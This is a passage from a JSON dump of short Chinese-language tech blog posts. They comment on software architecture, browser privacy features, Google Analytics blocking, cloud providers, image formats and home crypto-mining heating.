href=\"https://twitter.com/BigTechAlert/status/1362049172719996930?ref_src=twsrc%5Etfw\">February 17, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n退追的真實原因不知道，但看到純粹覺得很有趣...",
    "title": "Elon Musk 退訂美國總統的 Twitter 帳號"
  },
  {
    "id": "9980",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://martinfowler.com/bliki/MonolithFirst.html\">MonolithFirst</a>」這篇，是 <a href=\"https://en.wikipedia.org/wiki/Martin_Fowler_(software_engineer)\">Martin Fowler</a> 在 2015 年寫的文章，對應在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=26190584\">Monolith First (2015) (martinfowler.com)</a>」也頗有趣的，可以一起翻。\r\n\r\n<strong>tl;dr：他的文章就是在講新專案用 monolith，不要去碰 microservice。</strong>\r\n\r\n文章開頭提到了就他觀察到的情況：第一點是，幾乎所有成功的 microservice 案例都是從 monolith 起頭，再轉到 microservice 環境；第二點是，幾乎所有一開始用 microservice 的案例，在後來都遇到嚴重的問題：\r\n\r\n<blockquote>As I hear stories about teams using a microservices architecture, I've noticed a common pattern.\r\n\r\n<ol>\r\n\t<li>Almost all the successful microservice stories have started with a monolith that got too big and was broken up</li>\r\n\t<li>Almost all the cases where I've heard of a system that was built as a microservice system from scratch, it has ended up in serious trouble.</li>\r\n</ol>\r\n\r\nThis pattern has led many of my colleagues to argue that <strong>you shouldn't start a new project with microservices, even if you're sure your application will be big enough to make it worthwhile.</strong> .</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AolNV7O.webp\" /><img src=\"https://i.gslin.com/imgur/AolNV7O.png\" alt=\"\" /></picture>\r\n\r\n文章接著有兩個猜測，試著去解釋為什麼。\r\n\r\n第一點可能的原因是 <a href=\"https://martinfowler.com/bliki/Yagni.html\">Yagni</a> (You Aren't Gonna Need It)，在試驗市場時 PoC 或是 MVP 的商業邏輯反而不會那麼複雜，快速用 monolith 開發驗證比起擁抱 microservice 來的重要太多，而且可以快速修改。\r\n\r\n第二點分成兩個現象：第一個現象是，即使是對產品的商業領域很有經驗的資深架構師，也很難一開始就切出正確的 <a href=\"https://martinfowler.com/bliki/BoundedContext.html\">BoundedContext</a>；第二個現象是，在 microservice 裡，改架構的難度比起 monolith 高非常多 (i.e. 跨 boundary 的 refactoring)。這兩個現象加在一起就會造成一開始導入 microservice 的專案失敗。\r\n\r\n文章接著想要提出一些建議，在一開始使用 monolith 可以注意的方向，這些注意的事項可能可以讓之後轉成 microservice 變得比較輕鬆。\r\n\r\n第一種方式是在 monolith 架構下注意 API boundary 與 data 的儲存方式，當想要切換到 microservice 的時候就有機會比較簡單。\r\n\r\n第二種是更常見的方式，一開始先是 monolith 架構，然後把 boundary 好切割的拆成 microservice，所以在過度期會是一組不那麼大的 sub-monolith 架構，然後週邊圍繞著很多 microservice。這個做久了就有機會轉成全部都是 microservice。\r\n\r\n第三種方式就是砍掉重練。\r\n\r\n第四種方式是一開始的時候不用 monolith，而是幾個很大包的 service (所以一開始不太能叫 microservice)，當商業模式成熟穩定後，切出更細緻的 boundary 的時候再拆成 microservice。\r\n\r\n把這篇文章拿去搜尋 Hacker News 上的討論，可以看到除了 2021 年的這次討論外，在 2017 年的時候就有一批討論也蠻有趣的，可以看到有些不同的風向：「<a href=\"https://news.ycombinator.com/item?id=14778685\">Monolith First (2015) (martinfowler.com)</a>」。\r\n\r\n當然也未必要信 Martin Fowler 的看法，軟體工程這塊還是有很多不同的流派...",
    "title": "Martin Fowler 在 2015 年寫的 MonolithFirst，以及 Microservice 的問題"
  },
  {
    "id": "9981",
    "body": "在 2017 年的時候 <a href=\"https://en.wikipedia.org/wiki/18F\">18F</a> 推出了美國政府的 <a href=\"https://en.wikipedia.org/wiki/Single_sign-on\">SSO</a> 服務 <a href=\"https://login.gov/\">login.gov</a>：「<a href=\"https://18f.gsa.gov/2017/08/22/government-launches-login-gov/\">Government launches login.gov to simplify access to public services</a>」，當時只支援聯邦政府的系統。\r\n\r\n這幾天看到了新的公告，宣佈 login.gov 的服務範圍打算擴大到州政府與地方政府的計畫：「<a href=\"https://www.gsa.gov/blog/2021/02/18/logingov-to-provide-authentication-and-identity-proofing-services-to-a-limited-number-of-federally-funded-state-and-local-government-programs\">Login.gov to provide authentication and identity proofing services to a limited number of federally funded state and local government programs.</a>」。\r\n\r\n翻了一下開發網站「<a href=\"https://developers.login.gov/\">Welcome to the login.gov developer guide | login.gov</a>」，可以看到使用的技術應該是 <a href=\"https://en.wikipedia.org/wiki/OpenID\">OpenID</a> 與 <a href=\"https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language\">SAML</a>：\r\n\r\n<blockquote>Select between OpenID Connect (OIDC) or SAML protocol implementation protocols. Please note that we recommend OIDC.</blockquote>\r\n\r\n難得看到 OpenID 被拿出來用，記起來好了...",
    "title": "美國政府的 SSO 網站 login.gov"
  },
  {
    "id": "9982",
    "body": "最近很熱鬧的 <a href=\"https://www.nytimes.com/\">New York Times</a> 的退訂過程截圖在這邊，可以看到滿滿的 <a href=\"https://en.wikipedia.org/wiki/Dark_pattern\">Dark pattern</a> 想辦法讓使用者難以退訂：「<a href=\"https://imgur.com/a/K8m7p2t\">Before buying a NYT subscription, here's what it will take you to cancel it.</a>」，這點在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也可以看一下：「<a href=\"https://news.ycombinator.com/item?id=26174269\">Before buying a NYT subscription, here's what it'll take to cancel it (imgur.com)</a>」。\r\n\r\n我在看的時候想到美國好像有通過法律，要求租用與退訂流程的對等性，查了一下資料發現理解不正確，之前看到的新聞應該是加州州政府通過的法令：「<a href=\"https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=201720180SB313\">SB-313 Advertising: automatic renewal and continuous service offers.(2017-2018)</a>」。\r\n\r\n2018 年法令生效當時也有報導，裡面講的比較白話：「<a href=\"https://www.cnet.com/news/companies-must-let-customers-cancel-subscriptions-online-california-law-says/\">Companies must let customers cancel subscriptions online, California law says</a>」，結果看到這則報導裡面給的範例時馬上笑出來，因為又是 New York Times，看起來是就是慣犯 XDDD\r\n\r\n<blockquote>One person tweeted about trying to cancel a New York Times subscription on the phone and being put on hold for 15 minutes -- twice.</blockquote>\r\n\r\n在 Hacker News 的討論裡有提到，美國的使用者可以考慮用 <a href=\"https://privacy.com/\">Privacy</a> 這個虛擬信用卡服務，對於這種很搞事的 subscription 直接關閉對應的信用卡帳號就好。\r\n\r\n台灣之前有遠東銀行提供 <a href=\"https://www.mastercard.com/incontroldemo/en/home.html\">Mastercard InControl</a> 方案，但看起來到去年年底也不提供了：「<a href=\"https://www.feib.com.tw/activity?id=1630\">MasterCard inControl 網路交易虛擬卡號申請服務110年1月1日起終止公告</a>」。",
    "title": "最近很熱鬧的 New York Times 退訂截圖"
  },
  {
    "id": "10013",
    "body": "看到「<a href=\"https://www.industrialempathy.com/posts/avif-webp-quality-settings/\">AVIF and WebP encoding quality settings</a>」這包，看起來是 <a href=\"https://en.wikipedia.org/wiki/AVIF\">AVIF</a> 與 <a href=\"https://en.wikipedia.org/wiki/WebP\">WebP</a> 的懶人包設定。\r\n\r\n一分鐘版的懶人包設定是基於一般 <a href=\"https://en.wikipedia.org/wiki/JPEG\">JPEG</a> 的 quality 設定為 60 時的畫質，與 AVIF 的 50，WebP 的 65 差不多：\r\n\r\n<blockquote>If you usually encode JPEGs with quality setting 60, then encode AVIF with quality setting 50 and WebP with quality setting 65. You should expect your AVIF files to be on average 36% smaller and your WebP images 15% smaller than the equivalent JPEG image.</blockquote>\r\n\r\n後面給的複雜一點，包括了 JPEG quality 在 50/60/70/80 的情況。\r\n\r\n作者用的是 <a href=\"https://en.wikipedia.org/wiki/DSSim\">DSSim</a> 判斷圖片壓縮後的品質，看了維基百科裡面的說明，讓我想到 2016 年時 <a href=\"https://www.netflix.com/\">Netflix</a> 公開的 <a href=\"https://en.wikipedia.org/wiki/VMAF\">VMAF</a>，針對影片的品質分析：「<a href=\"https://blog.gslin.org/archives/2016/06/08/6618/netflix-%e8%a9%95%e4%bc%b0%e5%bd%b1%e7%89%87%e5%93%81%e8%b3%aa%e7%9a%84%e6%96%b9%e6%b3%95/\">Netflix 評估影片品質的方法</a>」。\r\n\r\n不過沒碰太多這塊的東西，不確定 DDSim 目前是否有被認可... 留下來當作參考。",
    "title": "AVIF 與 WebP 的懶人包設定？"
  },
  {
    "id": "10017",
    "body": "在「<a href=\"https://changelog.com/news/automatic-dark-mode-for-terminal-applications-mLP6\">Automatic dark mode for terminal applications</a>」這邊看到讓 terminal 的一些程式支援 Dark Theme 的方式，裡面引用的是「<a href=\"https://arslan.io/2021/02/15/automatic-dark-mode-for-terminal-applications/\">Automatic dark mode for terminal applications</a>」這篇。\r\n\r\n<img src=\"https://i.gslin.com/imgur/4u29f07.gif\" alt=\"\" />\r\n\r\n可以看到因為 terminal 下沒有標準，所以得 hack 事件發生時要送出的指令，文章裡面給出了 <a href=\"https://www.vim.org/\">Vim</a> (以及 <a href=\"https://tmux.github.io/\">Tmux</a>)、<a href=\"https://github.com/alacritty/alacritty\">Alacritty</a> 這幾套程式的 hack。\r\n\r\n不過這些 hack 過程算詳細 (而且有說明整個原理)，如果有其他 terminal 下的程式有支援 Dark Theme 的話也可以用類似的邏輯套進去。",
    "title": "Terminal 的 Dark Theme"
  },
  {
    "id": "10018",
    "body": "在「<a href=\"https://info.crunchydata.com/blog/fuzzy-name-matching-in-postgresql\">Fuzzy Name Matching in Postgres</a>」這邊看到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 下怎麼設計 Fuzzy Matching 的方式，文章裡用的方法主要是出自 PostgreSQL 的文件：「<a href=\"https://www.postgresql.org/docs/current/fuzzystrmatch.html\">F.15. fuzzystrmatch</a>」。\r\n\r\n文章最後的解法是 <a href=\"https://en.wikipedia.org/wiki/Soundex\">Soundex</a> + <a href=\"https://en.wikipedia.org/wiki/Levenshtein_distance\">Levenshtein</a>。\r\n\r\n翻了一下資料，這個領域另外有 NYSIIS (<a href=\"https://en.wikipedia.org/wiki/New_York_State_Identification_and_Intelligence_System\">New York State Identification and Intelligence System</a>)：\r\n\r\n<blockquote>The New York State Identification and Intelligence System Phonetic Code, commonly known as NYSIIS, is a phonetic algorithm devised in 1970 as part of the New York State Identification and Intelligence System (now a part of the New York State Division of Criminal Justice Services). It features an accuracy increase of 2.7% over the traditional Soundex algorithm.</blockquote>\r\n\r\n以及 <a href=\"https://en.wikipedia.org/wiki/Metaphone\">Metaphone</a>：\r\n\r\n<blockquote>Metaphone is a phonetic algorithm, published by Lawrence Philips in 1990, for indexing words by their English pronunciation. It fundamentally improves on the Soundex algorithm by using information about variations and inconsistencies in English spelling and pronunciation to produce a more accurate encoding, which does a better job of matching words and names which sound similar. As with Soundex, similar-sounding words should share the same keys. Metaphone is available as a built-in operator in a number of systems.</blockquote>\r\n\r\n不過這些都是以英文為主，中文的沒特別翻到...",
    "title": "PostgreSQL 的 Fuzzy Matching"
  },
  {
    "id": "10019",
    "body": "<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 86 (新推出的 standard 版本) 推出了 Total Cookie Protection：「<a href=\"https://blog.mozilla.org/security/2021/02/23/total-cookie-protection/\">Firefox 86 Introduces Total Cookie Protection</a>」。\r\n\r\n每個站的 cookie 都有獨立的空間：\r\n\r\n<blockquote>Our new feature, Total Cookie Protection, works by maintaining a separate “cookie jar” for each website you visit. Any time a website, or third-party content embedded in a website, deposits a cookie in your browser, that cookie is confined to the cookie jar assigned to that website, such that it is not allowed to be shared with any other website.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Ztd8WUA.webp\" /><img src=\"https://i.gslin.com/imgur/Ztd8WUA.png\" alt=\"\" /></picture>\r\n\r\n然後對於需要跨站類的應用另外處理，像是 3rd-party login：\r\n\r\n<blockquote>In addition, Total Cookie Protection makes a limited exception for cross-site cookies when they are needed for non-tracking purposes, such as those used by popular third-party login providers. Only when Total Cookie Protection detects that you intend to use a provider, will it give that provider permission to use a cross-site cookie specifically for the site you’re currently visiting. Such momentary exceptions allow for strong privacy protection without affecting your browsing experience.</blockquote>\r\n\r\n這樣的確把 cookie 的追蹤能力壓低很多，不過應該也會有不少站台掛掉...",
    "title": "今天釋出的 Firefox 86 推出了 Total Cookie Protection"
  },
  {
    "id": "10021",
    "body": "大家都好像有過類似的想法，只是實際去做的不多 XDDD\r\n\r\n有人把整個作法寫出來，挖 <a href=\"https://ethereum.org/\">Ethereum</a> 加熱房間：「<a href=\"https://blog.haschek.at/2021/how-i-heat-my-home-by-mining.html\">How I heat my home by mining crypto currencies</a>」。\r\n\r\n從網站上的「<a href=\"https://blog.haschek.at/about\">About me</a>」這邊看起來應該是住在奧地利？\r\n\r\n<blockquote>I am a tech geek from Austin TX (USA), living on the country side in Austria and devote most of my time to my girlfriend, my company, my students and different projects.</blockquote>\r\n\r\n不確定是哪個城市，先抓了首都維也納的溫度來看，看起來一到三月的平均氣溫都在個位數 (攝氏)，可以理解暖氣應該是常備物品：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vgItixx.webp\" /><img src=\"https://i.gslin.com/imgur/vgItixx.png\" alt=\"\" /></picture>\r\n\r\n作者之前就先搞過一個可以一路接到 <a href=\"https://grafana.com/\">Grafana</a> 的電錶，然後也有裝太陽能電板，但因為暖氣用電的關係而不夠用：\r\n\r\n<blockquote>After building my own smart meter using 4$ in parts I started checking my electricity usage every day, which made me realize how expensive it is to heat your home. Especially since all heat and warm water in my low-energy house is made with electricity. I do have 4.8 kwp solar panels on my roof but in winter they don't cover too much for obvious reasons.</blockquote>\r\n\r\n順便查了一下電價，在「<a href=\"https://www.globalpetrolprices.com/Austria/electricity_prices/\">Austria electricity prices</a>」這頁可以看到奧地利的每一度要 USD$0.248：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jJosOPv.webp\" /><img src=\"https://i.gslin.com/imgur/jJosOPv.png\" alt=\"\" /></picture>\r\n\r\n而同一份資料上，台灣是 USD$0.101：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TH2fC9r.webp\" /><img src=\"https://i.gslin.com/imgur/TH2fC9r.png\" alt=\"\" /></picture>\r\n\r\n回到他的暖氣機，他是屬於中央空調大台機器的類型：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/J9WznXC.webp\" /><img src=\"https://i.gslin.com/imgur/J9WznXC.png\" alt=\"\" /></picture>\r\n\r\n這種機器會恆溫輸出，所以是進風溫度愈低，就需要使用愈高的電能加熱。所以他想到的解法就是針對進風口預先用顯卡挖礦加熱 (四張 AMD 的 <a href=\"https://en.wikipedia.org/wiki/Radeon_Rx_300_series\">R9 390</a>)，這樣就可以降低暖氣機的電力消耗 (不過整體的消耗會提昇)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SGMaiW8.webp\" /><img src=\"https://i.gslin.com/imgur/SGMaiW8.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>I had 4 older AMD R9 390 GPUs laying around (for the nVidia crowd that's basically on a level with a GTX 970) and I thought it could work.</blockquote>\r\n\r\n後面就是改裝過程了，最後的結果雖然整體的電力使用量上升，但因為暖氣機的電力消耗降低，加上礦機挖到的 ETH 直接 cover 暖氣機的費用，反而讓暖氣機變免費了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nrkD94L.webp\" /><img src=\"https://i.gslin.com/imgur/nrkD94L.png\" alt=\"\" /></picture>\r\n\r\n<blockquote>Success! I was able to lower my heat pump's electricity needs by ~50% and half of the costs are also paid for by the mining earnings</blockquote>\r\n\r\n台灣的氣溫應該是用不太到 XDDD",
    "title": "挖 Ethereum 加熱房間..."
  },
  {
    "id": "10022",
    "body": "看到「<a href=\"https://www.sven.de/dpi/\">DPI Calculator / PPI Calculator</a>」這個網站，裡面有一些有趣的小螢幕，但是有超高解析度：\r\n\r\n<blockquote>1280x1024 @ 0.61 MicroOLED microdisplay (2687.21 PPI)\r\n1920x1080 @ 0.74 Silicon Micro Display ST1080 (2976.9 PPI)\r\n2048x1536 @ 0.83 Forth Dimension QXGA-R9 (3084.34 PPI)\r\n2048x2048 @ 0.99 Kopin Lightning 2K (2925.57 PPI)</blockquote>\r\n\r\n不過如果放寬到只要是螢幕就可以的話 (不用是彩色的)，查了一下發現跟目前的進展有點遠，目前有查到的是 14000 DPI：「<a href=\"https://www.eenewseurope.com/news/14000ppi-microled-display-worlds-densest-only-048mm-across\">14,000ppi MicroLED display is world’s densest, only 0.48mm across</a>」：\r\n\r\n<blockquote>According Mojo Vision, with a world record pixel pitch of 1.8µm and a pixel density over 14,000ppi, the monochrome display technology is the company’s first important step in succeeding in its mission to deliver “Invisible Computing”, enabling people to receive and share information that is immediate and relevant without distracting them from the world in front of them.</blockquote>\r\n\r\n不過考慮到彩色螢幕需要三色，上面那幾個 3000 PPI 好像已經很厲害了...",
    "title": "超高 PPI 的螢幕"
  },
  {
    "id": "10023",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的消息，<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 送出 <a href=\"https://en.wikipedia.org/wiki/Form_S-1\">Form S-1</a>：「<a href=\"https://www.sec.gov/Archives/edgar/data/1582961/000119312521055798/d898181ds1.htm\">d898181ds1.htm</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有不少討論：「<a href=\"https://news.ycombinator.com/item?id=26262465\">DigitalOcean S-1 (sec.gov)</a>」。\r\n\r\n這個消息跟 2020 年年初的裁員也可以交叉看一下：「<a href=\"https://blog.gslin.org/archives/2020/01/26/9387/digitalocean-%E8%A3%81%E5%93%A1/\">DigitalOcean 裁員</a>」，另外在 <a href=\"https://techcrunch.com/\">TechCrunch</a> 上也有報導：「<a href=\"https://techcrunch.com/2021/02/25/digitaloceans-ipo-filing-shows-a-two-class-cloud-market/\">DigitalOcean’s IPO filing shows a two-class cloud market</a>」。\r\n\r\nHacker News 上蠻多人在抱怨 DO 的產品，像是機器的效能，操作界面的穩定性，還有客服的反應... 不過這些跟 IPO 倒是沒什麼關係，重要的是每年的營業額有做出來：\r\n\r\n<blockquote>Per its S-1 filing, DigitalOcean generated $203.1 million in 2018 revenue, $254.8 million in 2019 and $318.4 million in 2020. The company closed 2020 out with a self-calculated $357 million in annual run rate.</blockquote>\r\n\r\n自己用的話應該還是偏好 <a href=\"https://www.vultr.com/\">Vultr</a> 與 <a href=\"https://www.linode.com/\">Linode</a>...",
    "title": "DigitalOcean 送出 Form S-1"
  },
  {
    "id": "10024",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 在 Strict Tracking Protection 模式下會閹割掉 <a href=\"https://analytics.google.com/\">Google Analytics</a>：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">?Firefox replaces GA with a fake no-op GA (rather than outright blocking it) in strict tracking protection, to prevent websites from breaking:<br><br>&quot;Google Analytics is being shimmed by Firefox. See <a href=\"https://t.co/mfx5HZxueL\">https://t.co/mfx5HZxueL</a> for details.&quot; <a href=\"https://t.co/PMNRqgpOyX\">pic.twitter.com/PMNRqgpOyX</a></p>&mdash; Jakub G (@__jakub_g) <a href=\"https://twitter.com/__jakub_g/status/1365400306767581185?ref_src=twsrc%5Etfw\">February 26, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n剛好可以跟另外一篇「<a href=\"https://casparwre.de/blog/stop-using-google-analytics/\">Google Analytics: Stop feeding the beast</a>」一起看，這篇主要是對網站管理端的說明，你可以使用其他對隱私保護比較好的服務，或是考慮自己架設。\r\n\r\n回到使用者端的部份，在 Firefox 裡面 Browser Privacy 預設是 Standard，換成 Strict 後就會觸發這個行為：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6T19544.webp\" /><img src=\"https://i.gslin.com/imgur/6T19544.png\" alt=\"\" /></picture>\r\n\r\n不是直接擋掉到 <code>google-analytics.com</code> 與 <code>googletagmanager.com</code> 的連線，而是把 javascript 抽換掉，讓呼叫的程式碼完全不會做事。\r\n\r\n在 Strict 模式下，除了會閹割 Google Analytics 外，也有其他的 js 會被閹割 (像是 <a href=\"https://www.facebook.com/\">Facebook</a> 的)，可以在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/mozilla/gecko-dev/tree/master/browser/extensions/webcompat/shims\">gecko-dev/browser/extensions/webcompat/shims/</a>」這邊翻到。\r\n\r\n這個功能很明顯在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 上不會內建，但很久前就有套件可以用了。目前比較常見的作法是透過 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 做，而且是在內建的「uBlock filters – Privacy」這組定義裡面就有實做，對應到 GitHub 上的 <a href=\"https://github.com/uBlockOrigin/uAssets/blob/master/filters/privacy.txt\">privacy.txt</a> 這邊可以看到：\r\n\r\n<pre>\r\n! Redirect to neutered Google Analytics \r\n||google-analytics.com/analytics.js$script,redirect=google-analytics.com/analytics.js\r\n\r\n! Redirect to neutered Google Analytics Experiments\r\n||google-analytics.com/cx/api.js$script,redirect=google-analytics.com/cx/api.js\r\n</pre>\r\n\r\n不過 Firefox 上的 uBlock Origin 與其他套件也有類似的功能，真的在意的人應該早就使用了...",
    "title": "Firefox 在 Strict Tracking Protection 模式下閹割 Google Analytics"
  },
  {
    "id": "10025",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://thevaluable.dev/vim-advanced/\">A Vim Guide for Advanced Users</a>」這篇，寫給 <a href=\"https://www.vim.org/\">Vim</a> 進階使用者的教學，教你怎麼更順暢的操作 Vim，對我來說還是有不少內容是不熟悉的...\r\n\r\n先提到作者的另外兩篇文章，其實也還是很值得翻一下，是給初學者與給中階使用者的教學：「<a href=\"https://thevaluable.dev/vim-beginner/\">Is Vim Really Not For You? A Beginner Guide</a>」、「<a href=\"https://thevaluable.dev/vim-intermediate/\">A Vim Guide for Intermediate Users</a>」。\r\n\r\n這類文件可以隔幾個月回來看一次，每次都可以學到一些東西，不需要一次把裡面的技巧都看懂學完。",
    "title": "給 Vim 的進階使用者看的教學"
  },
  {
    "id": "10026",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://github.com/BillDietrich/fake_contacts\">Fake Contacts</a>」這個專案，可以把 <a href=\"https://www.android.com/\">Android</a> 上的電話簿資料換成假資料，把真實的資料另外存放保存，藉此不讓 app 取得電話簿裡面的真實資料：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kpsd5LK.webp\" /><img src=\"https://i.gslin.com/imgur/kpsd5LK.png\" alt=\"\" /></picture>\r\n\r\n<blockquote>Create fake phone contacts, that will be stored on your phone along with your real contacts. The idea is to feed fake data to any apps or companies who are copying our private data to use or sell it. This is called \"data-poisoning\".\r\n\r\nNothing about these fake contacts will interfere with your normal use of your phone or your real contacts.</blockquote>\r\n\r\n可以在 <a href=\"https://f-droid.org/\">F-Droid</a> 上下載使用：「<a href=\"https://f-droid.org/en/packages/me.billdietrich.fake_contacts/\">Fake Contacts</a>」。\r\n\r\n另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上面也有討論：「<a href=\"https://news.ycombinator.com/item?id=26286194\">Fake_contacts: Android app to create fake phone contacts, to do data-poisoning (github.com/billdietrich)</a>」，其中大家馬上想到的就是 iOS 14 推出的相片保護機制，讓使用者選擇讓 app 讀到哪些相片：\r\n\r\n<blockquote>Recently Apple added a feature to iOS that allows you only to allow selected photos to be accessible by an app. This allows the user to respond positively to an access request, but allow the app to see only a subset (or zero) actual photos.\r\n\r\nIt would be a very useful feature for Apple to do the same for contacts: the app would think it's getting access to your contacts, but would only actually receive a subset of them, and be none the wiser. This would be a tremendous boon for privacy.</blockquote>\r\n\r\n以 <a href=\"https://en.wikipedia.org/wiki/Tim_Cook\">Tim Cook</a> 把 Privacy 當作 Feature 的偏好，我會猜在 iOS 遲早會推出這個功能，然後會宣揚吹捧一番。\r\n\r\n至於 Android 的話，不太像是會在 iOS 推出前有這個功能...",
    "title": "Android 上不讓 App 取得真實的電話簿資料"
  },
  {
    "id": "10029",
    "body": "找資料的時候發現維基百科上面有一個條目是在說明美國媒體的偏好：「<a href=\"https://en.wikipedia.org/wiki/Media_bias_in_the_United_States\">Media bias in the United States</a>」，不過上面講的還是比較描述性，另外找了其他的研究來翻。\r\n\r\n首先是在「<a href=\"https://guides.lib.umich.edu/c.php?g=637508&amp;p=4462444\">\"Fake News,\" Lies and Propaganda: How to Sort Fact from Fiction</a>」這邊翻到的資料，是出自於「<a href=\"https://www.journalism.org/2014/10/21/political-polarization-media-habits/pj_14-10-21_mediapolarization-08/\">Ideological Placement of Each Source’s Audience</a>」這邊，這是 2014 年的分析：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/M4X3tXE.webp\" /><img src=\"https://i.gslin.com/imgur/M4X3tXE.png\" alt=\"\" /></picture>\r\n\r\n接著是翻到「<a href=\"https://library.fvtc.edu/News/BiasCheck\">News Literacy: News Views &amp; Fact Checking Resources: Media Bias</a>」這篇，出自「<a href=\"https://www.adfontesmedia.com/product/media-bias-chart-4-0-downloadable-image-and-standard-license-copy/\">Media Bias Chart 4.0: Downloadable Image and Standard License</a>」，這是 2018 年的分析：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fPPSx4tl.webp\" /><img src=\"https://i.gslin.com/imgur/fPPSx4tl.jpg\" alt=\"\" /></picture>\r\n\r\n再來是「<a href=\"https://libguides.lorainccc.edu/c.php?g=29395&amp;p=183699\">Detecting Bias</a>」，出自「<a href=\"https://www.allsides.com/media-bias/media-bias-ratings\">Media Bias Ratings</a>」，這是 2019 年的分析，原網站目前則是更新到 2021 年了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/A2KfucG.webp\" /><img src=\"https://i.gslin.com/imgur/A2KfucG.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tgWpkLi.webp\" /><img src=\"https://i.gslin.com/imgur/tgWpkLi.jpg\" alt=\"\" /></picture>\r\n\r\n透過這些資料可以很粗糙的抓一下這些媒體的 <a href=\"https://en.wikipedia.org/wiki/Political_spectrum\">Political spectrum</a>，在讀新聞的時候會更清晰一點。",
    "title": "美國媒體的偏好 (味道)"
  },
  {
    "id": "10031",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 大阪區開放給大家使用了，而且有標準的三個 AZ 可以用：「<a href=\"https://aws.amazon.com/blogs/aws/aws-asia-pacific-osaka-region-now-open-to-all-with-three-azs-more-services/\">AWS Asia Pacific (Osaka) Region Now Open to All, with Three AZs and More Services</a>」。\r\n\r\n大阪區因為之前就已經有機房 (附加在東京區)，所以對應的 routing 看起來不算太差，但也沒有特別好... 剛剛測了一下從 <a href=\"https://www.hinet.net/\">HiNet</a> 光世代過去的 latency，分別是 35.5ms (東京的 <code>ap-northeast-1</code>) 與 34.6ms (大阪的 <code>ap-northeast-3</code>)。\r\n\r\n另外測了其他的 ISP，有些上日本的點是以東京為主，反而會多繞了一圈，大阪區的 latency 會比較高。\r\n\r\n不過如果放遠來說，東京大阪的直線距離大約是 400km，光纖的傳輸速度大約是光速的 2/3，所以單趟大約差了 2ms，如果有機會最佳化的話應該有機會擠出 4ms 出來？\r\n\r\n然後是 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 <a href=\"https://aws.amazon.com/ec2/pricing/on-demand/\">Pricing</a> 頁面，上面還是寫 <code>Asia Pacific (Osaka-Local)</code>，無法確定是新資料還是舊資料，但以往的慣例應該是更新了...\r\n\r\n對照文章裡有提到支援的機器，目前看起來還沒有很齊，像是目前都還沒有 <a href=\"https://www.amd.com/\">AMD</a> 與 <a href=\"https://www.arm.com/\">ARM</a> 架構的機器，另外也沒有 GPU 類型的機器：\r\n\r\n<blockquote>The Asia Pacific (Osaka) Region supports the C5, C5d, D2, I3, I3en, M5, M5d, R5d, and T3 instance types, in On-Demand, Spot, and Reserved Instance form. X1 and X1e instances are available in a single AZ.</blockquote>\r\n\r\n就支援的類型隨意挑了幾個 instance type 比較，翻了一下價錢看起來跟東京的一樣。\r\n\r\n整體看起來，如果是有考慮到異地的需求是可以考慮，另外如果是新的服務的話也可以考慮看看 (畢竟各 ISP 應該有機會再把 latency 壓出來)，但既有的服務應該不需要急著搬...",
    "title": "AWS 大阪區開放"
  },
  {
    "id": "10032",
